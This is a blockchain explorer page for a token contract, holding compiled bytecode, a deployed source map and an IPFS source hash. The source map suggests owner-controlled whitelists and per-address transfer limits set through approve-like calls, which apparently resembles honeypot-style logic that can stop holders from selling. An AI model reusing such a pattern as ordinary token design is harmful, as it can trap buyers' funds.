5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b3291815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b8b575f80fd5b919050565b5f8060408385031215610ba1575f80fd5b610baa83610b75565b946020939093013593505050565b5f805f60608486031215610bca575f80fd5b610bd384610b75565b9250610be160208501610b75565b9150604084013590509250925092565b5f60208284031215610c01575f80fd5b610c0a82610b75565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f805f60608486031215610c37575f80fd5b610c4084610b75565b925060208085013567ffffffffffffffff80821115610c5d575f80fd5b818701915087601f830112610c70575f80fd5b813581811115610c8257610c82610c11565b8060051b604051601f19603f83011681018181108582111715610ca757610ca7610c11565b60405291825284820192508381018501918a831115610cc4575f80fd5b938501935b82851015610ce957610cda85610b75565b84529385019392850192610cc9565b979a979950505050604095909501359450505050565b5f8060408385031215610d10575f80fd5b610d1983610b75565b9150610d2760208401610b75565b90509250929050565b600181811c90821680610d4457607f821691505b602082108103610d6257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561037b57634e487b7160e01b5f52601160045260245ffdfea26469706673582212202116ecb1db17495723dadc04da4f2a7c692b119d6eba84bb8b9defa13275937864736f6c63430008190033
Deployed Bytecode Sourcemap
11636:3605:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4753:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12630:383;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;12630:383:0;874:187:1;5047:99:0;5126:12;;5047:99;;;1212:25:1;;;1200:2;1185:18;5047:99:0;1066:177:1;13021:323:0;;;;;;:::i;:::-;;:::i;4955:84::-;;;5029:2;1723:36:1;;1711:2;1696:18;4955:84:0;1581:184:1;5154:118:0;;;;;;:::i;:::-;-1:-1:-1;;;;;5246:18:0;5219:7;5246:18;;;;;;;;;;;;5154:118;1254:103;;;:::i;:::-;;14930:308;;;;;;:::i;:::-;;:::i;11868:48::-;;;;;;:::i;:::-;;;;;;;;;;;;;;985:87;1058:6;;985:87;;-1:-1:-1;;;;;1058:6:0;;;3507:51:1;;3495:2;3480:18;985:87:0;3361:203:1;4852:95:0;;;:::i;11809:52::-;;;;;;:::i;:::-;;;;;;;;;;;;;;5280:182;;;;;;:::i;:::-;;:::i;5470:183::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5618:18:0;;;5586:7;5618:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5470:183;1365:220;;;;;;:::i;:::-;;:::i;13433:204::-;;;:::i;4753:91::-;4798:13;4831:5;4824:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4753:91;:::o;12630:383::-;12768:10;12732:4;12758:21;;;:9;:21;;;;;;;;12754:89;;;-1:-1:-1;;;;;12796:26:0;;;;;;:17;:26;;;;;:35;;;12754:89;12867:10;12857:21;;;;:9;:21;;;;;;;;12853:90;;;172:10;12895:27;;;;:13;:27;;;;;:36;;;12853:90;12953:30;12967:7;12976:6;12953:13;:30::i;:::-;;13001:4;12994:11;;12630:383;;;;;:::o;13021:323::-;13175:10;13144:4;13165:21;;;:9;:21;;;;;;;;13161:154;;;13203:31;13217:4;13223:2;13227:6;13203:13;:31::i;:::-;13161:154;;;13267:36;13286:4;13292:2;13296:6;13267:18;:36::i;:::-;;13161:154;-1:-1:-1;13332:4:0;13021:323;;;;;:::o;1254:103::-;944:13;:11;:13::i;:::-;1319:30:::1;1346:1;1319:18;:30::i;:::-;1254:103::o:0;14930:308::-;15038:10;15028:21;;;;:9;:21;;;;;;;;15024:207;;;15071:9;15066:113;15090:4;:11;15086:1;:15;15066:113;;;15127:36;15141:4;15147;15152:1;15147:7;;;;;;;;:::i;:::-;;;;;;;15156:6;15127:13;:36::i;:::-;15103:3;;15066:113;;;;14930:308;;;:::o;15024:207::-;14930:308;;;:::o;4852:95::-;4899:13;4932:7;4925:14;;;;;:::i;5280:182::-;5349:4;172:10;5405:27;172:10;5422:2;5426:5;5405:9;:27::i;1365:220::-;944:13;:11;:13::i;:::-;-1:-1:-1;;;;;1450:22:0;::::1;1446:93;;1496:31;::::0;-1:-1:-1;;;1496:31:0;;1524:1:::1;1496:31;::::0;::::1;3507:51:1::0;3480:18;;1496:31:0::1;;;;;;;;1446:93;1549:28;1568:8;1549:18;:28::i;:::-;1365:220:::0;:::o;13433:204::-;944:13;:11;:13::i;:::-;13482:62;:69;;-1:-1:-1;;13482:69:0;;::::1;13547:4;13482:69:::0;;::::1;::::0;;;13580:11:::1;::::0;-1:-1:-1;;;;;13580:11:0::1;13482:62;13562:31:::0;;;:9:::1;13482:62;13562:31:::0;13482:62;13562:31;;:38;;;;::::1;::::0;;::::1;::::0;;13611:11:::1;:18:::0;;-1:-1:-1;;;;13611:18:0::1;-1:-1:-1::0;;;13611:18:0::1;::::0;;13433:204::o;5661:222::-;5761:4;172:10;5822:31;172:10;5838:7;5847:5;5822:8;:31::i;6532:1169::-;-1:-1:-1;;;;;6656:18:0;;6652:552;;6810:5;6794:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;6652:552:0;;-1:-1:-1;6652:552:0;;-1:-1:-1;;;;;6870:15:0;;6848:19;6870:15;;;;;;;;;;;6904:19;;;6900:117;;;6951:50;;-1:-1:-1;;;6951:50:0;;-1:-1:-1;;;;;4798:32:1;;6951:50:0;;;4780:51:1;4847:18;;;4840:34;;;4890:18;;;4883:34;;;4753:18;;6951:50:0;4578:345:1;6900:117:0;-1:-1:-1;;;;;7140:15:0;;:9;:15;;;;;;;;;;7158:19;;;;7140:37;;6652:552;-1:-1:-1;;;;;7220:16:0;;7216:435;;7386:12;:21;;;;;;;7216:435;;;-1:-1:-1;;;;;7602:13:0;;:9;:13;;;;;;;;;;:22;;;;;;7216:435;7683:2;-1:-1:-1;;;;;7668:25:0;7677:4;-1:-1:-1;;;;;7668:25:0;;7687:5;7668:25;;;;1212::1;;1200:2;1185:18;;1066:177;7668:25:0;;;;;;;;6532:1169;;;:::o;5891:283::-;6012:4;172:10;6070:37;6086:4;172:10;6101:5;6070:15;:37::i;:::-;6118:26;6128:4;6134:2;6138:5;6118:9;:26::i;:::-;-1:-1:-1;6162:4:0;;5891:283;-1:-1:-1;;;;5891:283:0:o;1080:166::-;1058:6;;-1:-1:-1;;;;;1058:6:0;172:10;1140:23;1136:103;;1187:40;;-1:-1:-1;;;1187:40:0;;172:10;1187:40;;;3507:51:1;3480:18;;1187:40:0;3361:203:1;1593:191:0;1686:6;;;-1:-1:-1;;;;;1703:17:0;;;-1:-1:-1;;;;;;1703:17:0;;;;;;;1736:40;;1686:6;;;1703:17;1686:6;;1736:40;;1667:16;;1736:40;1656:128;1593:191;:::o;6182:342::-;-1:-1:-1;;;;;6300:18:0;;6296:88;;6342:30;;-1:-1:-1;;;6342:30:0;;6369:1;6342:30;;;3507:51:1;3480:18;;6342:30:0;3361:203:1;6296:88:0;-1:-1:-1;;;;;6398:16:0;;6394:88;;6438:32;;-1:-1:-1;;;6438:32:0;;6467:1;6438:32;;;3507:51:1;3480:18;;6438:32:0;3361:203:1;6394:88:0;6492:24;6500:4;6506:2;6510:5;6492:7;:24::i;8149:164::-;8268:37;8277:5;8284:7;8293:5;8300:4;8268:8;:37::i;8815:603::-;-1:-1:-1;;;;;5618:18:0;;;8949:24;5618:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;9016:37:0;;9012:399;;9093:5;9074:16;:24;9070:214;;;9126:142;;-1:-1:-1;;;9126:142:0;;-1:-1:-1;;;;;4798:32:1;;9126:142:0;;;4780:51:1;4847:18;;;4840:34;;;4890:18;;;4883:34;;;4753:18;;9126:142:0;4578:345:1;9070:214:0;9327:57;9336:5;9343:7;9371:5;9352:16;:24;9378:5;9327:8;:57::i;13645:1277::-;13780:9;13770:20;;;;:9;:20;;;;;;;;13766:1149;;;13807:30;13821:4;13827:2;13831:5;13807:13;:30::i;13766:1149::-;13899:11;;-1:-1:-1;;;13899:11:0;;;;13891:47;;;;-1:-1:-1;;;13891:47:0;;5130:2:1;13891:47:0;;;5112:21:1;5169:2;5149:18;;;5142:30;5208:25;5188:18;;;5181:53;5251:18;;13891:47:0;4928:347:1;13891:47:0;13963:13;;-1:-1:-1;;;;;13957:19:0;;;13963:13;;13957:19;:44;;;;-1:-1:-1;;;;;;13980:21:0;;13996:4;13980:21;;13957:44;13953:570;;;-1:-1:-1;;;;;14062:23:0;;;;;;:17;:23;;;;;;14048:11;:37;:90;;;;-1:-1:-1;;;;;;14110:23:0;;;;;;:17;:23;;;;;;:28;;14048:90;14022:233;;;14181:54;;-1:-1:-1;;;14181:54:0;;5482:2:1;14181:54:0;;;5464:21:1;5521:2;5501:18;;;5494:30;5560:34;5540:18;;;5533:62;-1:-1:-1;;;5611:18:1;;;5604:42;5663:19;;14181:54:0;5280:408:1;14022:233:0;14327:11;;-1:-1:-1;;;;;14327:11:0;14313:26;;;;:13;:26;;;;;;14299:11;:40;:96;;;;-1:-1:-1;14378:11:0;;-1:-1:-1;;;;;14378:11:0;14364:26;;;;:13;:26;;;;;;:31;;14299:96;14273:235;;;14438:50;;-1:-1:-1;;;14438:50:0;;5895:2:1;14438:50:0;;;5877:21:1;5934:2;5914:18;;;5907:30;5973:34;5953:18;;;5946:62;-1:-1:-1;;;6024:18:1;;;6017:38;6072:19;;14438:50:0;5693:404:1;14273:235:0;14547:13;;-1:-1:-1;;;;;14541:19:0;;;14547:13;;14541:19;;;;:44;;-1:-1:-1;14572:13:0;;-1:-1:-1;;;;;14564:21:0;;;14572:13;;14564:21;;14541:44;14537:322;;;-1:-1:-1;;;;;14646:23:0;;;;;;:17;:23;;;;;;14632:11;:37;:90;;;;-1:-1:-1;;;;;;14694:23:0;;;;;;:17;:23;;;;;;:28;;14632:90;14606:238;;;14765:59;;-1:-1:-1;;;14765:59:0;;6304:2:1;14765:59:0;;;6286:21:1;6343:2;6323:18;;;6316:30;6382:34;6362:18;;;6355:62;-1:-1:-1;;;6433:18:1;;;6426:47;6490:19;;14765:59:0;6102:413:1;14606:238:0;14873:30;14887:4;14893:2;14897:5;14873:13;:30::i;8321:486::-;-1:-1:-1;;;;;8477:19:0;;8473:91;;8520:32;;-1:-1:-1;;;8520:32:0;;8549:1;8520:32;;;3507:51:1;3480:18;;8520:32:0;3361:203:1;8473:91:0;-1:-1:-1;;;;;8578:21:0;;8574:92;;8623:31;;-1:-1:-1;;;8623:31:0;;8651:1;8623:31;;;3507:51:1;3480:18;;8623:31:0;3361:203:1;8574:92:0;-1:-1:-1;;;;;8676:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;8722:78;;;;8773:7;-1:-1:-1;;;;;8757:31:0;8766:5;-1:-1:-1;;;;;8757:31:0;;8782:5;8757:31;;;;1212:25:1;;1200:2;1185:18;;1066:177;8757:31:0;;;;;;;;8321:486;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:254::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;859:2;844:18;;;;831:32;;-1:-1:-1;;;615:254:1:o;1248:328::-;1325:6;1333;1341;1394:2;1382:9;1373:7;1369:23;1365:32;1362:52;;;1410:1;1407;1400:12;1362:52;1433:29;1452:9;1433:29;:::i;:::-;1423:39;;1481:38;1515:2;1504:9;1500:18;1481:38;:::i;:::-;1471:48;;1566:2;1555:9;1551:18;1538:32;1528:42;;1248:328;;;;;:::o;1770:186::-;1829:6;1882:2;1870:9;1861:7;1857:23;1853:32;1850:52;;;1898:1;1895;1888:12;1850:52;1921:29;1940:9;1921:29;:::i;:::-;1911:39;1770:186;-1:-1:-1;;;1770:186:1:o;1961:127::-;2022:10;2017:3;2013:20;2010:1;2003:31;2053:4;2050:1;2043:15;2077:4;2074:1;2067:15;2093:1263;2195:6;2203;2211;2264:2;2252:9;2243:7;2239:23;2235:32;2232:52;;;2280:1;2277;2270:12;2232:52;2303:29;2322:9;2303:29;:::i;:::-;2293:39;;2351:2;2404;2393:9;2389:18;2376:32;2427:18;2468:2;2460:6;2457:14;2454:34;;;2484:1;2481;2474:12;2454:34;2522:6;2511:9;2507:22;2497:32;;2567:7;2560:4;2556:2;2552:13;2548:27;2538:55;;2589:1;2586;2579:12;2538:55;2625:2;2612:16;2647:2;2643;2640:10;2637:36;;;2653:18;;:::i;:::-;2699:2;2696:1;2692:10;2731:2;2725:9;2794:2;2790:7;2785:2;2781;2777:11;2773:25;2765:6;2761:38;2849:6;2837:10;2834:22;2829:2;2817:10;2814:18;2811:46;2808:72;;;2860:18;;:::i;:::-;2896:2;2889:22;2946:18;;;2980:15;;;;-1:-1:-1;3022:11:1;;;3018:20;;;3050:19;;;3047:39;;;3082:1;3079;3072:12;3047:39;3106:11;;;;3126:148;3142:6;3137:3;3134:15;3126:148;;;3208:23;3227:3;3208:23;:::i;:::-;3196:36;;3159:12;;;;3252;;;;3126:148;;;2093:1263;;3293:6;;-1:-1:-1;;;;3346:2:1;3331:18;;;;3318:32;;-1:-1:-1;;;;2093:1263:1:o;3569:260::-;3637:6;3645;3698:2;3686:9;3677:7;3673:23;3669:32;3666:52;;;3714:1;3711;3704:12;3666:52;3737:29;3756:9;3737:29;:::i;:::-;3727:39;;3785:38;3819:2;3808:9;3804:18;3785:38;:::i;:::-;3775:48;;3569:260;;;;;:::o;3834:380::-;3913:1;3909:12;;;;3956;;;3977:61;;4031:4;4023:6;4019:17;4009:27;;3977:61;4084:2;4076:6;4073:14;4053:18;4050:38;4047:161;;4130:10;4125:3;4121:20;4118:1;4111:31;4165:4;4162:1;4155:15;4193:4;4190:1;4183:15;4047:161;;3834:380;;;:::o;4219:127::-;4280:10;4275:3;4271:20;4268:1;4261:31;4311:4;4308:1;4301:15;4335:4;4332:1;4325:15;4351:222;4416:9;;;4437:10;;;4434:133;;;4489:10;4484:3;4480:20;4477:1;4470:31;4524:4;4521:1;4514:15;4552:4;4549:1;4542:15
Swarm Source
ipfs://2116ecb1db17495723dadc04da4f2a7c692b119d6eba84bb8b9defa132759378
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.